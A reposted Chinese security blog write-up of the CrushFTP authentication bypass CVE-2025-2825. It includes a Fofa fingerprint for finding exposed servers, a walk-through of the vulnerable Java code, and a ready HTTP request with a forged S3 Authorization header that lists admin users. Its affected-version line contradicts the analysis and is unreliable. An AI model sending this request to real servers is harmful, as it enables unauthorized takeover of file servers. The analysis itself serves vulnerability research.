【大量存在】CrushFTP 存在权限绕过漏洞(CVE-2025-2825)

admin 2025年4月6日20:16:31评论5 views字数 3041阅读10分8秒阅读模式
【大量存在】CrushFTP 存在权限绕过漏洞(CVE-2025-2825)

点击上方蓝字关注我们 并设为星标

0x00 前言

CrushFTP 是一种广泛使用的多协议文件传输服务器,提供广泛的功能集,包括与 Amazon S3 兼容的 API 访问,CrushFTP 支持多种协议,包括 FTP、SFTP、WebDAV 和 HTTP/S,使其成为一种多功能的文件传输解决方案。
Fofa指纹:body="crushftp" || icon_hash="-1022206565" || title="CrushFTP WebInterface"
【大量存在】CrushFTP 存在权限绕过漏洞(CVE-2025-2825)
【大量存在】CrushFTP 存在权限绕过漏洞(CVE-2025-2825)

影响版本:

CrushFTP 10.* >= 10.8.4      CrushFTP 11.* >= 11.3.4

0x01 漏洞分析&复现

漏洞存在于ServerSessionHTTP.java 的 loginCheckHeaderAuth() 方法,该方法使用 S3 样式的授权标头处理 HTTP 请求。这是易受攻击的代码的关键部分
if (this.headerLookup.containsKey("Authorization".toUpperCase()) && 
this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {

// Extract the username from credential field
    String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
    String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
    String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));

// Initialize variables
    String user_pass = null;
    String user_name = s3_username3;
boolean lookup_user_pass = true;  // Default to true - this is crucial!

// Check if username contains a tilde
if (s3_username3.indexOf("~") >= 0) {
        user_pass = user_name.substring(user_name.indexOf("~") + 1);
        user_name = user_name.substring(0, user_name.indexOf("~"));
        lookup_user_pass = false;
    }

// In version 11.3.0, there's no security check here

// Attempt to authenticate the user
if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
// Authentication succeeds
    }
}

问题在 lookup_user_pass 方法。此标志具有以下用途:

  1. 最初,它旨在指示系统是应从存储中查找用户的密码 (when true) 还是使用提供的密码 (when false
  2. 但是,同一标志作为第一个参数直接传递给 login_user_pass(),其中它用作 anyPass 参数

此参数过载会产生漏洞 - 特别是因为默认情况下, lookup_user_pass 如果用户名不包含波浪号字符 (~),则在处理 S3 身份验证标头时true设置为此漏洞

// Check if header exists and starts with "AWS4-HMAC"
if (this.headerLookup.containsKey("Authorization".toUpperCase()) && 
this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
// Extract username through string operations
    String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
// s3_username = "AWS4-HMAC-SHA256 Credential=crushadmin/"
    String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
// s3_username2 = "crushadmin/"
    String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
// s3_username3 = "crushadmin"
    String user_name = s3_username3;
boolean lookup_user_pass = true;  // Default to true
// Only change lookup_user_pass if username contains tilde
if (s3_username3.indexOf("~") >= 0) {
        user_pass = user_name.substring(user_name.indexOf("~") + 1);
        user_name = user_name.substring(0, user_name.indexOf("~"));
        lookup_user_pass = false;
    }
}

显示出所有管理用户的Payload:

GET /WebInterface/function/?command=getUserList&c2f=1111 HTTP/1.1
Host: 127.0.0.1:8081
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/

【大量存在】CrushFTP 存在权限绕过漏洞(CVE-2025-2825)

后续如果访问文件、上传恶意内容、创建 admin 用户,基本上获得了对服务器的完全访问权限。
Nuclei脚本:
【大量存在】CrushFTP 存在权限绕过漏洞(CVE-2025-2825)
【大量存在】CrushFTP 存在权限绕过漏洞(CVE-2025-2825)

0x02 Nuclei脚本

标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转

Nuclei脚本关注公众号发送 250406 获取!

优质代码审计社区-零日防线 加入方式: 
https://mp.weixin.qq.com/s/EFgzGZSc7DGxXZc3DlALtw
【大量存在】CrushFTP 存在权限绕过漏洞(CVE-2025-2825)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!

原文始发于微信公众号(星悦安全):【大量存在】CrushFTP 存在权限绕过漏洞(CVE-2025-2825)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月6日20:16:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【大量存在】CrushFTP 存在权限绕过漏洞(CVE-2025-2825)https://cn-sec.com/archives/3921226.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息